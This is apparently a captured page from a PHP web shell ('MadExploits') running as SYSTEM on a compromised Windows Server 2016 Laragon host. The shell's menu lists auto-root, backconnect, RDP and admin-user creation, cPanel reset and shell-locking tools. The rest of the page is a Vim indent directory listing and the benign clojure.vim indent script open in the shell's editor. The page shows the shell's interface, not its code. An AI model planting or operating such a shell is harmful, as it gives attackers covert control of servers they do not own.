Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
usr /
share /
vim /
vim82 /
indent /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
1.65
KB
-rw-rw-rw-
aap.vim
265
B
-rw-rw-rw-
ada.vim
11.06
KB
-rw-rw-rw-
ant.vim
290
B
-rw-rw-rw-
automake.vim
243
B
-rw-rw-rw-
awk.vim
7.68
KB
-rw-rw-rw-
bash.vim
350
B
-rw-rw-rw-
basic.vim
250
B
-rw-rw-rw-
bib.vim
346
B
-rw-rw-rw-
bst.vim
1.86
KB
-rw-rw-rw-
bzl.vim
2.86
KB
-rw-rw-rw-
c.vim
325
B
-rw-rw-rw-
cdl.vim
4.26
KB
-rw-rw-rw-
ch.vim
470
B
-rw-rw-rw-
chaiscript.vim
1.18
KB
-rw-rw-rw-
changelog.vim
264
B
-rw-rw-rw-
clojure.vim
11.29
KB
-rw-rw-rw-
cmake.vim
2.66
KB
-rw-rw-rw-
cobol.vim
8.63
KB
-rw-rw-rw-
config.vim
2.17
KB
-rw-rw-rw-
confini.vim
196
B
-rw-rw-rw-
context.vim
752
B
-rw-rw-rw-
cpp.vim
329
B
-rw-rw-rw-
cs.vim
1.88
KB
-rw-rw-rw-
css.vim
1.77
KB
-rw-rw-rw-
cucumber.vim
2.62
KB
-rw-rw-rw-
cuda.vim
305
B
-rw-rw-rw-
d.vim
605
B
-rw-rw-rw-
dictconf.vim
411
B
-rw-rw-rw-
dictdconf.vim
414
B
-rw-rw-rw-
docbk.vim
336
B
-rw-rw-rw-
dosbatch.vim
1.35
KB
-rw-rw-rw-
dtd.vim
11.79
KB
-rw-rw-rw-
dtrace.vim
451
B
-rw-rw-rw-
dune.vim
332
B
-rw-rw-rw-
dylan.vim
2.75
KB
-rw-rw-rw-
eiffel.vim
3.24
KB
-rw-rw-rw-
elm.vim
3.2
KB
-rw-rw-rw-
erlang.vim
48.89
KB
-rw-rw-rw-
eruby.vim
2.95
KB
-rw-rw-rw-
eterm.vim
743
B
-rw-rw-rw-
falcon.vim
13.84
KB
-rw-rw-rw-
fennel.vim
273
B
-rw-rw-rw-
fortran.vim
7.54
KB
-rw-rw-rw-
framescript.vim
891
B
-rw-rw-rw-
freebasic.vim
237
B
-rw-rw-rw-
gitconfig.vim
841
B
-rw-rw-rw-
gitolite.vim
1.29
KB
-rw-rw-rw-
go.vim
1.63
KB
-rw-rw-rw-
haml.vim
2.19
KB
-rw-rw-rw-
hamster.vim
1.65
KB
-rw-rw-rw-
hog.vim
1.85
KB
-rw-rw-rw-
html.vim
33.11
KB
-rw-rw-rw-
htmldjango.vim
273
B
-rw-rw-rw-
idlang.vim
1.68
KB
-rw-rw-rw-
ishd.vim
1.83
KB
-rw-rw-rw-
j.vim
1.77
KB
-rw-rw-rw-
java.vim
4.19
KB
-rw-rw-rw-
javascript.vim
15
KB
-rw-rw-rw-
javascriptreact.vim
109
B
-rw-rw-rw-
json.vim
4.42
KB
-rw-rw-rw-
jsonc.vim
4.62
KB
-rw-rw-rw-
jsp.vim
462
B
-rw-rw-rw-
julia.vim
15.2
KB
-rw-rw-rw-
krl.vim
4.26
KB
-rw-rw-rw-
ld.vim
1.82
KB
-rw-rw-rw-
less.vim
243
B
-rw-rw-rw-
lifelines.vim
638
B
-rw-rw-rw-
liquid.vim
2.03
KB
-rw-rw-rw-
lisp.vim
353
B
-rw-rw-rw-
logtalk.vim
1.82
KB
-rw-rw-rw-
lua.vim
1.88
KB
-rw-rw-rw-
mail.vim
355
B
-rw-rw-rw-
make.vim
3.48
KB
-rw-rw-rw-
matlab.vim
4.81
KB
-rw-rw-rw-
meson.vim
5.19
KB
-rw-rw-rw-
mf.vim
156
B
-rw-rw-rw-
mma.vim
2.31
KB
-rw-rw-rw-
mp.vim
11.06
KB
-rw-rw-rw-
nginx.vim
407
B
-rw-rw-rw-
nsis.vim
3.23
KB
-rw-rw-rw-
objc.vim
1.65
KB
-rw-rw-rw-
ocaml.vim
8.98
KB
-rw-rw-rw-
occam.vim
4.63
KB
-rw-rw-rw-
pascal.vim
5.66
KB
-rw-rw-rw-
perl.vim
5.85
KB
-rw-rw-rw-
php.vim
25.29
KB
-rw-rw-rw-
postscr.vim
1.64
KB
-rw-rw-rw-
pov.vim
2.71
KB
-rw-rw-rw-
prolog.vim
1.91
KB
-rw-rw-rw-
ps1.vim
410
B
-rw-rw-rw-
pyrex.vim
326
B
-rw-rw-rw-
python.vim
6.82
KB
-rw-rw-rw-
qb64.vim
232
B
-rw-rw-rw-
r.vim
13.71
KB
-rw-rw-rw-
raku.vim
3.34
KB
-rw-rw-rw-
raml.vim
285
B
-rw-rw-rw-
readline.vim
786
B
-rw-rw-rw-
rhelp.vim
2.77
KB
-rw-rw-rw-
rmd.vim
2.14
KB
-rw-rw-rw-
rnoweb.vim
1.06
KB
-rw-rw-rw-
rpl.vim
1.82
KB
-rw-rw-rw-
rrst.vim
1.17
KB
-rw-rw-rw-
rst.vim
1.78
KB
-rw-rw-rw-
ruby.vim
30.32
KB
-rw-rw-rw-
rust.vim
6.35
KB
-rw-rw-rw-
sas.vim
5.18
KB
-rw-rw-rw-
sass.vim
994
B
-rw-rw-rw-
scala.vim
19.2
KB
-rw-rw-rw-
scheme.vim
372
B
-rw-rw-rw-
scss.vim
191
B
-rw-rw-rw-
sdl.vim
2.76
KB
-rw-rw-rw-
sh.vim
9.04
KB
-rw-rw-rw-
sml.vim
6.42
KB
-rw-rw-rw-
sql.vim
1.18
KB
-rw-rw-rw-
sqlanywhere.vim
12.96
KB
-rw-rw-rw-
sshconfig.vim
796
B
-rw-rw-rw-
systemd.vim
205
B
-rw-rw-rw-
systemverilog.vim
8.51
KB
-rw-rw-rw-
tcl.vim
2.48
KB
-rw-rw-rw-
tcsh.vim
1.35
KB
-rw-rw-rw-
teraterm.vim
1.38
KB
-rw-rw-rw-
tex.vim
13.37
KB
-rw-rw-rw-
tf.vim
1.57
KB
-rw-rw-rw-
tilde.vim
1.11
KB
-rw-rw-rw-
treetop.vim
785
B
-rw-rw-rw-
typescript.vim
14.14
KB
-rw-rw-rw-
vb.vim
2.04
KB
-rw-rw-rw-
verilog.vim
7.98
KB
-rw-rw-rw-
vhdl.vim
14.32
KB
-rw-rw-rw-
vim.vim
5.91
KB
-rw-rw-rw-
vroom.vim
379
B
-rw-rw-rw-
wast.vim
458
B
-rw-rw-rw-
xf86conf.vim
786
B
-rw-rw-rw-
xhtml.vim
269
B
-rw-rw-rw-
xinetd.vim
1.28
KB
-rw-rw-rw-
xml.vim
7.6
KB
-rw-rw-rw-
xsd.vim
253
B
-rw-rw-rw-
xslt.vim
297
B
-rw-rw-rw-
yacc.vim
858
B
-rw-rw-rw-
yaml.vim
5.35
KB
-rw-rw-rw-
zimbu.vim
3.85
KB
-rw-rw-rw-
zsh.vim
411
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : clojure.vim
" Vim indent file " Language: Clojure " Maintainer: Alex Vear <alex@vear.uk> " Former Maintainers: Sung Pae <self@sungpae.com> " Meikel Brandmeyer <mb@kotka.de> " URL: https://github.com/clojure-vim/clojure.vim " License: Vim (see :h license) " Last Change: 2022-03-24 if exists("b:did_indent") finish endif let b:did_indent = 1 let s:save_cpo = &cpo set cpo&vim let b:undo_indent = 'setlocal autoindent< smartindent< expandtab< softtabstop< shiftwidth< indentexpr< indentkeys<' setlocal noautoindent nosmartindent setlocal softtabstop=2 shiftwidth=2 expandtab setlocal indentkeys=!,o,O if exists("*searchpairpos") if !exists('g:clojure_maxlines') let g:clojure_maxlines = 300 endif if !exists('g:clojure_fuzzy_indent') let g:clojure_fuzzy_indent = 1 endif if !exists('g:clojure_fuzzy_indent_patterns') let g:clojure_fuzzy_indent_patterns = ['^with', '^def', '^let'] endif if !exists('g:clojure_fuzzy_indent_blacklist') let g:clojure_fuzzy_indent_blacklist = ['-fn$', '\v^with-%(meta|out-str|loading-context)$'] endif if !exists('g:clojure_special_indent_words') let g:clojure_special_indent_words = 'deftype,defrecord,reify,proxy,extend-type,extend-protocol,letfn' endif if !exists('g:clojure_align_multiline_strings') let g:clojure_align_multiline_strings = 0 endif if !exists('g:clojure_align_subforms') let g:clojure_align_subforms = 0 endif function! s:syn_id_name() return synIDattr(synID(line("."), col("."), 0), "name") endfunction function! s:ignored_region() return s:syn_id_name() =~? '\vstring|regex|comment|character' endfunction function! s:current_char() return getline('.')[col('.')-1] endfunction function! s:current_word() return getline('.')[col('.')-1 : searchpos('\v>', 'n', line('.'))[1]-2] endfunction function! s:is_paren() return s:current_char() =~# '\v[\(\)\[\]\{\}]' && !s:ignored_region() endfunction " Returns 1 if string matches a pattern in 'patterns', which should be " a list of patterns. function! s:match_one(patterns, string) for pat in a:patterns if a:string =~# pat | return 1 | endif endfor endfunction function! s:match_pairs(open, close, stopat) " Stop only on vector and map [ resp. {. Ignore the ones in strings and " comments. if a:stopat == 0 && g:clojure_maxlines > 0 let stopat = max([line(".") - g:clojure_maxlines, 0]) else let stopat = a:stopat endif let pos = searchpairpos(a:open, '', a:close, 'bWn', "!s:is_paren()", stopat) return [pos[0], col(pos)] endfunction function! s:clojure_check_for_string_worker() " Check whether there is the last character of the previous line is " highlighted as a string. If so, we check whether it's a ". In this " case we have to check also the previous character. The " might be the " closing one. In case the we are still in the string, we search for the " opening ". If this is not found we take the indent of the line. let nb = prevnonblank(v:lnum - 1) if nb == 0 return -1 endif call cursor(nb, 0) call cursor(0, col("$") - 1) if s:syn_id_name() !~? "string" return -1 endif " This will not work for a " in the first column... if s:current_char() == '"' call cursor(0, col("$") - 2) if s:syn_id_name() !~? "string" return -1 endif if s:current_char() != '\' return -1 endif call cursor(0, col("$") - 1) endif let p = searchpos('\(^\|[^\\]\)\zs"', 'bW') if p != [0, 0] return p[1] - 1 endif return indent(".") endfunction function! s:check_for_string() let pos = getpos('.') try let val = s:clojure_check_for_string_worker() finally call setpos('.', pos) endtry return val endfunction function! s:strip_namespace_and_macro_chars(word) return substitute(a:word, "\\v%(.*/|[#'`~@^,]*)(.*)", '\1', '') endfunction function! s:clojure_is_method_special_case_worker(position) " Find the next enclosing form. call search('\S', 'Wb') " Special case: we are at a '(('. if s:current_char() == '(' return 0 endif call cursor(a:position) let next_paren = s:match_pairs('(', ')', 0) " Special case: we are now at toplevel. if next_paren == [0, 0] return 0 endif call cursor(next_paren) call search('\S', 'W') let w = s:strip_namespace_and_macro_chars(s:current_word()) if g:clojure_special_indent_words =~# '\V\<' . w . '\>' " `letfn` is a special-special-case. if w ==# 'letfn' " Earlier code left the cursor at: " (letfn [...] ...) " ^ " Search and get coordinates of first `[` " (letfn [...] ...) " ^ call search('\[', 'W') let pos = getcurpos() let letfn_bracket = [pos[1], pos[2]] " Move cursor to start of the form this function was " initially called on. Grab the coordinates of the " closest outer `[`. call cursor(a:position) let outer_bracket = s:match_pairs('\[', '\]', 0) " If the located square brackets are not the same, " don't use special-case formatting. if outer_bracket != letfn_bracket return 0 endif endif return 1 endif return 0 endfunction function! s:is_method_special_case(position) let pos = getpos('.') try let val = s:clojure_is_method_special_case_worker(a:position) finally call setpos('.', pos) endtry return val endfunction " Check if form is a reader conditional, that is, it is prefixed by #? " or #?@ function! s:is_reader_conditional_special_case(position) return getline(a:position[0])[a:position[1] - 3 : a:position[1] - 2] == "#?" \|| getline(a:position[0])[a:position[1] - 4 : a:position[1] - 2] == "#?@" endfunction " Returns 1 for opening brackets, -1 for _anything else_. function! s:bracket_type(char) return stridx('([{', a:char) > -1 ? 1 : -1 endfunction " Returns: [opening-bracket-lnum, indent] function! s:clojure_indent_pos() " Get rid of special case. if line(".") == 1 return [0, 0] endif " We have to apply some heuristics here to figure out, whether to use " normal lisp indenting or not. let i = s:check_for_string() if i > -1 return [0, i + !!g:clojure_align_multiline_strings] endif call cursor(0, 1) " Find the next enclosing [ or {. We can limit the second search " to the line, where the [ was found. If no [ was there this is " zero and we search for an enclosing {. let paren = s:match_pairs('(', ')', 0) let bracket = s:match_pairs('\[', '\]', paren[0]) let curly = s:match_pairs('{', '}', bracket[0]) " In case the curly brace is on a line later then the [ or - in " case they are on the same line - in a higher column, we take the " curly indent. if curly[0] > bracket[0] || curly[1] > bracket[1] if curly[0] > paren[0] || curly[1] > paren[1] return curly endif endif " If the curly was not chosen, we take the bracket indent - if " there was one. if bracket[0] > paren[0] || bracket[1] > paren[1] return bracket endif " There are neither { nor [ nor (, ie. we are at the toplevel. if paren == [0, 0] return paren endif " Now we have to reimplement lispindent. This is surprisingly easy, as " soon as one has access to syntax items. " " - Check whether we are in a special position after a word in " g:clojure_special_indent_words. These are special cases. " - Get the next keyword after the (. " - If its first character is also a (, we have another sexp and align " one column to the right of the unmatched (. " - In case it is in lispwords, we indent the next line to the column of " the ( + sw. " - If not, we check whether it is last word in the line. In that case " we again use ( + sw for indent. " - In any other case we use the column of the end of the word + 2. call cursor(paren) if s:is_method_special_case(paren) return [paren[0], paren[1] + &shiftwidth - 1] endif if s:is_reader_conditional_special_case(paren) return paren endif " In case we are at the last character, we use the paren position. if col("$") - 1 == paren[1] return paren endif " In case after the paren is a whitespace, we search for the next word. call cursor(0, col('.') + 1) if s:current_char() == ' ' call search('\v\S', 'W') endif " If we moved to another line, there is no word after the (. We " use the ( position for indent. if line(".") > paren[0] return paren endif " We still have to check, whether the keyword starts with a (, [ or {. " In that case we use the ( position for indent. let w = s:current_word() if s:bracket_type(w[0]) == 1 return paren endif " If the keyword begins with #, check if it is an anonymous " function or set, in which case we indent by the shiftwidth " (minus one if g:clojure_align_subforms = 1), or if it is " ignored, in which case we use the ( position for indent. if w[0] == "#" " TODO: Handle #=() and other rare reader invocations? if w[1] == '(' || w[1] == '{' return [paren[0], paren[1] + (g:clojure_align_subforms ? 0 : &shiftwidth - 1)] elseif w[1] == '_' return paren endif endif " Test words without namespace qualifiers and leading reader macro " metacharacters. " " e.g. clojure.core/defn and #'defn should both indent like defn. let ww = s:strip_namespace_and_macro_chars(w) if &lispwords =~# '\V\<' . ww . '\>' return [paren[0], paren[1] + &shiftwidth - 1] endif if g:clojure_fuzzy_indent \ && !s:match_one(g:clojure_fuzzy_indent_blacklist, ww) \ && s:match_one(g:clojure_fuzzy_indent_patterns, ww) return [paren[0], paren[1] + &shiftwidth - 1] endif call search('\v\_s', 'cW') call search('\v\S', 'W') if paren[0] < line(".") return [paren[0], paren[1] + (g:clojure_align_subforms ? 0 : &shiftwidth - 1)] endif call search('\v\S', 'bW') return [line('.'), col('.') + 1] endfunction function! GetClojureIndent() let lnum = line('.') let orig_lnum = lnum let orig_col = col('.') let [opening_lnum, indent] = s:clojure_indent_pos() " Account for multibyte characters if opening_lnum > 0 let indent -= indent - virtcol([opening_lnum, indent]) endif " Return if there are no previous lines to inherit from if opening_lnum < 1 || opening_lnum >= lnum - 1 call cursor(orig_lnum, orig_col) return indent endif let bracket_count = 0 " Take the indent of the first previous non-white line that is " at the same sexp level. cf. src/misc1.c:get_lisp_indent() while 1 let lnum = prevnonblank(lnum - 1) let col = 1 if lnum <= opening_lnum break endif call cursor(lnum, col) " Handle bracket counting edge case if s:is_paren() let bracket_count += s:bracket_type(s:current_char()) endif while 1 if search('\v[(\[{}\])]', '', lnum) < 1 break elseif !s:ignored_region() let bracket_count += s:bracket_type(s:current_char()) endif endwhile if bracket_count == 0 " Check if this is part of a multiline string call cursor(lnum, 1) if s:syn_id_name() !~? '\vstring|regex' call cursor(orig_lnum, orig_col) return indent(lnum) endif endif endwhile call cursor(orig_lnum, orig_col) return indent endfunction setlocal indentexpr=GetClojureIndent() else " In case we have searchpairpos not available we fall back to " normal lisp indenting. setlocal indentexpr= setlocal lisp let b:undo_indent .= '| setlocal lisp<' endif let &cpo = s:save_cpo unlet! s:save_cpo " vim:sts=8:sw=8:ts=8:noet
Close